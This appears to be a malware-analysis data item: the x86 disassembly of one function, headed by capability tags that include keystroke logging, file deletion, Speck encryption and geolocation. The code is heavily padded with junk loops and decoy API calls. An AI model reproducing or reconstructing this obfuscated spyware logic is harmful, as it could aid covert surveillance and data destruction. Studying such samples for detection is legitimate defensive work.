Function at 0x1001b32b
Capabilities:
Clear file content
Delete file
Encrypt data using speck
Get geographical location
Log keystrokes
Log keystrokes via polling
Set environment variable

Disassembly:
mov eax, 0x1005e295
call fcn.1005d828
sub esp, 0x620
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor ebx, ebx
push 0xfffffffffffffff7
pop edi
mov dword [ebp - 0x14], edi
mov byte [ebp - 0x25], bl
mov byte [ebp - 0x6c], dl
mov dword [ebp - 0x58], ecx
cmp byte [ebp - 0x25], bl
je 0x1001b367
push 0x244b
push 0x4cc
call dword [sym.imp.USER32.dll_SetParent]
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 0x16
jne 0x1001b3b2
mov esi, dword [sym.imp.USER32.dll_CheckRadioButton]
mov dword [ebp - 0x30], 0x97eede0b
mov dword [ebp - 0x30], ebx
jmp 0x1001b3a3
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], bl
je 0x1001b3a0
push 0xaf7
push 0x16a9
push 0xff
push 0x6cc
call esi
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xa
jle 0x1001b382
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x16
je 0x1001b376
mov dword [ebp - 0x34], 0x399841b3
lea ecx, [ebp - 0x130]
push 2
call fcn.1000e8c4
xor esi, esi
mov dword [ebp - 4], ebx
inc esi
lea ecx, [ebp - 0x2c0]
push esi
call fcn.1000e8c4
mov dword [ebp - 0x4c], 0xb4b72b41
mov dword [ebp - 0x18], ebx
jmp 0x1001b3f7
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x130]
mov dword [eax + ecx*4], 0xfffffffe
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001b3e4
mov dword [ebp - 0x18], ebx
jmp 0x1001b411
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c0]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1001b402
mov dword [ebp - 0x34], 0x10
jmp 0x1001b525
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x48], 0xbc8f9611
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], esi
jg 0x1001b522
mov dword [ebp - 0x4c], 0xffffffff
xor ebx, ebx
mov dword [ebp - 0x40], 4
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c0]
mov dword [eax], 0xdd63
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x130]
cmp dword [eax + ecx*4], ebx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x130]
setne bl
xor edx, edx
sub ebx, dword [eax]
cmp ebx, 0xedc8
setl dl
sub edx, dword [eax + ecx*4]
mov eax, dword [ebp - 0x34]
sub edx, eax
mov dword [ebp - 0x48], edx
xor edx, edx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov esi, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x130]
setg cl
xor edx, edx
cmp ecx, dword [eax + esi*4]
setg dl
xor ecx, ecx
cmp edx, dword [eax]
setg cl
cmp ecx, dword [ebp - 0x34]
jge 0x1001b4ce
cmp dword [ebp - 0x48], 0
jne 0x1001b4ce
xor eax, eax
jmp 0x1001b4d1
xor eax, eax
inc eax
mov edx, dword [ebp - 0x18]
dec eax
mov esi, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, 0x72c2
mov eax, dword [ebp - 0x130]
setne cl
xor ebx, ebx
cmp dword [eax + edx*4], ecx
mov eax, dword [ebp - 0x34]
setle bl
sub ebx, eax
mov eax, dword [ebp - 0x130]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, dword [eax + esi*4]
setne cl
xor esi, esi
mov dword [ebp - 0x4c], ecx
inc esi
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x1001b438
xor ebx, ebx
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffe3
je 0x1001b422
lea ecx, [ebp - 0x2c0]
call fcn.1000e920
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x130]
call fcn.1000e920
mov dword [ebp - 0x24], edi
lea ecx, [ebp - 0xcc]
mov byte [ebp - 0x25], bl
push 2
call fcn.1000e8c4
mov dword [ebp - 0x18], 0xeef20fe6
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x30], ebx
jmp 0x1001b57e
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0xcc]
mov dword [eax + ecx*4], 0x571177e8
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1001b56b
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], ebx
jl 0x1001b6bc
mov edi, 0xb6890635
cmp dword [ebp - 0x18], ebx
jne 0x1001b5cb
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0xcc]
cmp dword [eax + ecx*4], 4
setl dl
add edx, 0x5a2c821b
jne 0x1001b5b9
cmp dword [ebp - 0x18], ebx
je 0x1001b5bb
mov ebx, esi
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xcc]
imul ecx, ebx
cmp ecx, dword [eax]
jge 0x1001b5ce
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
cmp eax, 0x8af066b7
mov eax, dword [ebp - 0xcc]
setne cl
cmp edi, ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, dword [eax + esi*4]
setne dl
mov dword [ebp - 0x24], edx
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0xcc]
sub esi, dword [eax + ecx*4]
mov ecx, dword [ebp - 0xcc]
neg esi
mov eax, dword [ebp - 0x18]
sbb esi, esi
xor edx, edx
inc esi
cmp dword [ecx + edi*4], eax
setne dl
xor eax, eax
cmp edx, esi
setle al
xor ecx, ecx
cmp eax, 0x8877
mov eax, dword [ebp - 0xcc]
setg cl
xor esi, esi
inc esi
cmp ecx, dword [eax + ebx*4]
je 0x1001b65f
mov dword [ebp - 0x40], 0xf3c88fed
xor ebx, ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x68], 0x2500428
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x68], ebx
jne 0x1001b6bc
jmp 0x1001b6ae
mov dword [ebp - 0x40], 0xfffffffe
xor ebx, ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x24], esi
cmp dword [ebp - 0x24], ebx
jl 0x1001b6ae
mov dword [ebp - 0x14], 0xbf0bb9a6
mov dword [ebp - 0x14], ebx
jmp 0x1001b6a4
mov dword [ebp - 0x40], ebx
xor edx, edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xcc]
mov dword [eax + ecx*4], ebx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
setne dl
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x40], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x1001b67f
dec dword [ebp - 0x24]
jns 0x1001b673
dec dword [ebp - 0x18]
mov edi, 0xb6890635
jns 0x1001b595
lea ecx, [ebp - 0xcc]
call fcn.1000e920
cmp byte [ebp - 0x25], 0
je 0x1001b7ab
mov dword [ebp - 0x24], 0x874b
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x30], 0xd373ee76
mov dword [ebp - 0x4c], 0xd4752e4a
mov dword [ebp - 0x34], 0xcdc0f1fa
mov dword [ebp - 0x30], ebx
jmp 0x1001b706
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1a0], esi
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1001b6f9
mov dword [ebp - 0x24], 0x54db
xor edx, edx
mov eax, dword [ebp - 0x24]
add eax, 0x3c40
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x1a0]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
mov eax, dword [ebp - 0x1a0]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
neg ecx
cmp ecx, 0x4f16
setle al
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
sub ecx, eax
xor eax, eax
cmp ecx, 0xffffffff
setne al
sub eax, dword [ebp - 0x34]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x34]
je 0x1001b78e
cmp dword [ebp - 0x24], ebx
jne 0x1001b791
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov edi, dword [sym.imp.USER32.dll_SetParent]
push 0x244b
push 0x4cc
mov dword [ebp - 0x34], eax
call edi
jmp 0x1001b7b1
mov edi, dword [sym.imp.USER32.dll_SetParent]
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 0x16
jne 0x1001b882
mov edi, dword [sym.imp.USER32.dll_CheckRadioButton]
mov dword [ebp - 0x14], 0x97eede0b
mov dword [ebp - 0x14], ebx
jmp 0x1001b865
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x30], ebx
jmp 0x1001b7f0
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x4f8], 0xcff0ea75
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1001b7df
mov dword [ebp - 0x34], ebx
jmp 0x1001b808
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x40], 0xfffffffb
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jle 0x1001b7fb
mov dword [ebp - 0x34], ebx
jmp 0x1001b83e
mov dword [ebp - 0x30], 2
mov dword [ebp - 0x30], ebx
jmp 0x1001b836
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1001b833
push ebx
push 0x1763
call dword [sym.imp.USER32.dll_GetWindowPlacement]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jle 0x1001b81e
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jle 0x1001b812
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1001b862
push 0xaf7
push 0x16a9
push 0xff
push 0x6cc
call edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xa
jle 0x1001b7d3
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x16
je 0x1001b7c4
mov edi, dword [sym.imp.USER32.dll_SetParent]
mov dword [ebp - 0x18], 0x2cb13638
mov dword [ebp - 0x40], 0x589b5833
mov dword [ebp - 0x30], ebx
jmp 0x1001b8a6
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xc0], 0x3342eb9
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1001b895
mov dword [ebp - 0x18], ebx
jmp 0x1001b963
mov dword [ebp - 0x14], 6
lea ecx, [ebp - 0x350]
push 3
call fcn.1000e8c4
mov dword [ebp - 0x30], ebx
jmp 0x1001b8e0
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x350]
mov dword [eax + ecx*4], 0xb8f6
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jl 0x1001b8cd
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0xc0], ebx
je 0x1001b917
mov eax, dword [ebp - 0x18]
mov ecx, esi
mov eax, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xc0]
add eax, dword [ebp - 0x18]
jne 0x1001b919
mov ecx, ebx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xc0]
add eax, ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], esi
jg 0x1001b955
mov esi, dword [ebp - 0x350]
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1001b946
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
inc dword [esi + 4]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jle 0x1001b936
xor esi, esi
inc esi
lea ecx, [ebp - 0x350]
call fcn.1000e920
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x1001b8b4
mov eax, dword [ebp - 0xc0]
sub eax, 0x7b7e
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x4c], 0xfffc
mov dword [ebp - 0x40], 0xc203
mov dword [ebp - 0x48], 0xfffffffb
cmp dword [ebp - 0x4c], ebx
mov byte [ebp - 0x25], bl
je 0x1001b9b1
cmp byte [ebp - 0x25], 0
je 0x1001b9a9
push ebx
push 0x14a8
call dword [sym.imp.GDI32.dll_SetTextColor]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x48], eax
jmp 0x1001b9be
cmp byte [ebp - 0x25], 0
je 0x1001b9be
push ebx
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x4c]
sub ecx, eax
mov dword [ebp - 0x48], ecx
lea ecx, [ebp - 0x154]
mov dword [ebp - 0x38], 0xfffffff7
mov dword [ebp - 0x34], 0x399841b3
push 2
call fcn.1000e8c4
push esi
lea ecx, [ebp - 0x2d8]
mov dword [ebp - 4], esi
call fcn.1000e8c4
mov dword [ebp - 0x4c], 0xb4b72b41
mov dword [ebp - 0x18], ebx
jmp 0x1001ba12
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x154]
mov dword [eax + ecx*4], 0xfffffffe
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001b9ff
mov dword [ebp - 0x18], ebx
jmp 0x1001ba2c
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2d8]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1001ba1d
mov dword [ebp - 0x34], 0x10
cmp dword [ebp - 0x34], 0xffffffe3
jne 0x1001bb55
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x48], 0xbc8f9611
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], esi
jg 0x1001bb42
mov dword [ebp - 0x4c], 0xffffffff
xor ebx, ebx
mov dword [ebp - 0x40], 4
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2d8]
mov dword [eax], 0xdd63
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x154]
cmp dword [eax + ecx*4], ebx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x154]
setne bl
xor edx, edx
sub ebx, dword [eax]
cmp ebx, 0xedc8
setl dl
sub edx, dword [eax + ecx*4]
mov eax, dword [ebp - 0x34]
sub edx, eax
mov dword [ebp - 0x48], edx
xor edx, edx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov esi, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x154]
setg cl
xor edx, edx
cmp ecx, dword [eax + esi*4]
setg dl
xor ecx, ecx
cmp edx, dword [eax]
setg cl
cmp ecx, dword [ebp - 0x34]
jge 0x1001baee
cmp dword [ebp - 0x48], 0
jne 0x1001baee
xor eax, eax
jmp 0x1001baf1
xor eax, eax
inc eax
mov edx, dword [ebp - 0x18]
dec eax
mov esi, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, 0x72c2
mov eax, dword [ebp - 0x154]
setne cl
xor ebx, ebx
cmp dword [eax + edx*4], ecx
mov eax, dword [ebp - 0x34]
setle bl
sub ebx, eax
mov eax, dword [ebp - 0x154]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, dword [eax + esi*4]
setne cl
xor esi, esi
mov dword [ebp - 0x4c], ecx
inc esi
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x1001ba58
xor ebx, ebx
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffe3
je 0x1001ba42
mov edi, dword [sym.imp.USER32.dll_SetParent]
lea ecx, [ebp - 0x2d8]
call fcn.1000e920
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x154]
call fcn.1000e920
mov byte [ebp - 0x25], bl
mov dword [ebp - 0x24], 0x874b
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x30], 0xd373ee76
mov dword [ebp - 0x4c], 0xd4752e4a
mov dword [ebp - 0x34], 0xcdc0f1fa
mov dword [ebp - 0x30], ebx
jmp 0x1001bba7
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1bc], esi
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1001bb9a
mov dword [ebp - 0x24], 0x54db
xor edx, edx
mov eax, dword [ebp - 0x24]
add eax, 0x3c40
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
mov eax, dword [ebp - 0x1bc]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
neg ecx
cmp ecx, 0x4f16
setle al
mov dword [ebp - 0x1bc], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
sub ecx, eax
xor eax, eax
cmp ecx, 0xffffffff
setne al
sub eax, dword [ebp - 0x34]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x34]
je 0x1001bc2f
cmp dword [ebp - 0x24], ebx
jne 0x1001bc32
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
cmp byte [ebp - 0x25], 0
je 0x1001bcba
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x30], ebx
jmp 0x1001bc5b
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x4d0], 0xcff0ea75
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1001bc4a
mov dword [ebp - 0x34], ebx
jmp 0x1001bc73
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x40], 0xfffffffb
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jle 0x1001bc66
mov dword [ebp - 0x34], ebx
jmp 0x1001bca9
mov dword [ebp - 0x30], 2
mov dword [ebp - 0x30], ebx
jmp 0x1001bca1
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1001bc9e
push ebx
push 0x1763
call dword [sym.imp.USER32.dll_GetWindowPlacement]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jle 0x1001bc89
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jle 0x1001bc7d
push 0x244b
push 0x4cc
call edi
push 2
lea ecx, [ebp - 0xe4]
call fcn.1000e8c4
xor edi, edi
mov dword [ebp - 0x18], 0xeef20fe6
inc edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x30], ebx
jmp 0x1001bcec
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0xe4]
mov dword [eax + ecx*4], 0x571177e8
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1001bcd9
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x18], ebx
jl 0x1001be2b
cmp dword [ebp - 0x18], ebx
jne 0x1001bd34
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0xe4]
cmp dword [eax + ecx*4], 4
setl dl
add edx, 0x5a2c821b
jne 0x1001bd22
cmp dword [ebp - 0x18], ebx
je 0x1001bd24
mov ebx, edi
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xe4]
imul ecx, ebx
cmp ecx, dword [eax]
jge 0x1001bd37
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
cmp eax, 0x8af066b7
mov eax, 0xb6890635
setne cl
cmp eax, ecx
mov eax, dword [ebp - 0xe4]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, dword [eax + esi*4]
setne dl
mov dword [ebp - 0x24], edx
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0xe4]
sub esi, dword [eax + ecx*4]
mov ecx, dword [ebp - 0xe4]
neg esi
mov eax, dword [ebp - 0x18]
sbb esi, esi
xor edx, edx
inc esi
cmp dword [ecx + edi*4], eax
setne dl
xor eax, eax
cmp edx, esi
setle al
xor ecx, ecx
cmp eax, 0x8877
mov eax, dword [ebp - 0xe4]
setg cl
cmp ecx, dword [eax + ebx*4]
je 0x1001bdcd
mov dword [ebp - 0x40], 0xf3c88fed
xor ebx, ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x68], 0x2500428
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x68], ebx
jne 0x1001be28
xor edi, edi
inc edi
jmp 0x1001be1f
xor edi, edi
mov dword [ebp - 0x40], 0xfffffffe
xor ebx, ebx
inc edi
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], ebx
jl 0x1001be1f
mov dword [ebp - 0x14], 0xbf0bb9a6
mov dword [ebp - 0x14], ebx
jmp 0x1001be15
mov dword [ebp - 0x40], ebx
xor edx, edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xe4]
mov dword [eax + ecx*4], ebx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
setne dl
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x40], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x1001bdf0
dec dword [ebp - 0x24]
jns 0x1001bde4
dec dword [ebp - 0x18]
jns 0x1001bcfe
xor edi, edi
inc edi
lea ecx, [ebp - 0xe4]
call fcn.1000e920
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x38], 0x16
jne 0x1001c438
mov dword [ebp - 0x54], 0x97eede0b
mov dword [ebp - 0x54], ebx
cmp dword [ebp - 0x54], 0xa
jg 0x1001c430
mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0x110]
push edi
call fcn.1000e8c4
mov dword [ebp - 0x48], 0xd6ba8dad
mov dword [ebp - 0x44], 0x3f8c
mov dword [ebp - 0x30], ebx
jmp 0x1001be8c
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x110]
mov dword [eax + ecx*4], 0x2a831d26
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x1001be79
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x110]
mov dword [ecx], eax
test eax, eax
je 0x1001beb0
mov eax, dword [ebp - 0x18]
mov edx, edi
mov eax, dword [ebp - 0x18]
mov dword [ecx], 0xfff9
jmp 0x1001beb2
mov edx, ebx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setl cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x18]
setge cl
xor edx, edx
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x18]
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x18]
neg edx
sbb edx, edx
inc edx
imul edx, dword [ebp - 0x18]
test edx, edx
je 0x1001bf6f
mov eax, dword [ebp - 0x110]
xor ecx, ecx
mov dword [ebp - 0x5c], 0x336ae3d4
mov dword [ebp - 0x40], 6
mov dword [ebp - 0x4c], 0x1b5f7a0d
cmp dword [eax], ebx
setne cl
xor edx, edx
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x110]
setne dl
xor ecx, ecx
cmp dword [eax], edx
setl cl
add ecx, 0x1254f
cmp ecx, 0xf1f
je 0x1001bf42
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, 0x7c57
mov eax, dword [ebp - 0x110]
setl cl
cmp ecx, dword [eax]
jg 0x1001bf60
mov ecx, ebx
cmp dword [ebp - 0x4c], ebx
je 0x1001bf62
mov ecx, edi
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov dword [ebp - 0x48], ecx
jmp 0x1001bfee
mov dword [ebp - 0x14], 0x649d9592
mov dword [ebp - 0x40], 8
mov dword [ebp - 0x18], ebx
jmp 0x1001bfe8
mov dword [ebp - 0x4c], 0xfffffff9
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setl dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x48]
setge bl
xor ecx, ecx
cmp ebx, eax
setl cl
xor ebx, ebx
cmp ecx, 0x2f6
jge 0x1001bfc6
mov eax, ebx
cmp dword [ebp - 0x18], ebx
je 0x1001bfc8
mov eax, edi
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x110]
mov dword [eax], 0x600a
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x14], ebx
jne 0x1001bfee
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x2a
jne 0x1001bf82
dec dword [ebp - 0x44]
lea ecx, [ebp - 0x110]
call fcn.1000e920
mov dword [ebp - 0x4c], 0x3edfa831
mov dword [ebp - 0x40], 0xd479
mov dword [ebp - 0x5c], 0xb5af9f7c
mov dword [ebp - 0x4c], 0x210e
cmp dword [ebp - 0x4c], 0x22ac
jle 0x1001c04b
mov edi, ebx
mov esi, ebx
mov eax, esi
mov ecx, 0x10607538
xor eax, edi
cdq
push edx
push eax
call fcn.1000e7af
inc esi
cmp esi, 0x1724
jl 0x1001c025
inc edi
cmp edi, 0x54a9
jl 0x1001c023
xor edi, edi
inc edi
mov dword [ebp - 4], 2
cmp dword [ebp - 0x4c], 0x2063
jge 0x1001c06a
mov edx, 0x10008260
mov ecx, 0x10607538
call fcn.1001021f
or dword [ebp - 4], 0xffffffff
push 3
pop esi
mov dword [ebp - 0x30], ebx
jmp 0x1001c0ac
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x88], 0xfffffff7
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x1001c09b
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1001c0c1
push ebx
call dword [sym.imp.GDI32.dll_DeleteObject]
mov dword [ebp - 0x88], 0xc
jmp 0x1001c162
push esi
lea ecx, [ebp - 0x398]
call fcn.1000e8c4
mov dword [ebp - 0x44], 0x5c1d1022
mov dword [ebp - 0x30], ebx
jmp 0x1001c0fb
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x398]
mov dword [eax + ecx*4], 8
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x1001c0e8
mov eax, dword [ebp - 0x398]
cmp dword [eax + 8], ebx
je 0x1001c141
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x4c], 0xffffffff
mov eax, dword [ebp - 0x88]
sub eax, dword [ebp - 0x4c]
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 0x35edade0
mov eax, dword [ebp - 0x44]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x44]
mov ecx, edi
jg 0x1001c143
mov ecx, ebx
xor eax, eax
cmp ecx, 9
lea ecx, [ebp - 0x398]
setle al
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x5c], eax
call fcn.1000e920
dec dword [ebp - 0x88]
cmp dword [ebp - 0x88], 9
jl 0x1001c0d0
mov byte [ebp - 0x25], bl
mov dword [ebp - 0x18], ebx
jmp 0x1001c188
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3ec], 0x7862
inc dword [ebp - 0x18]
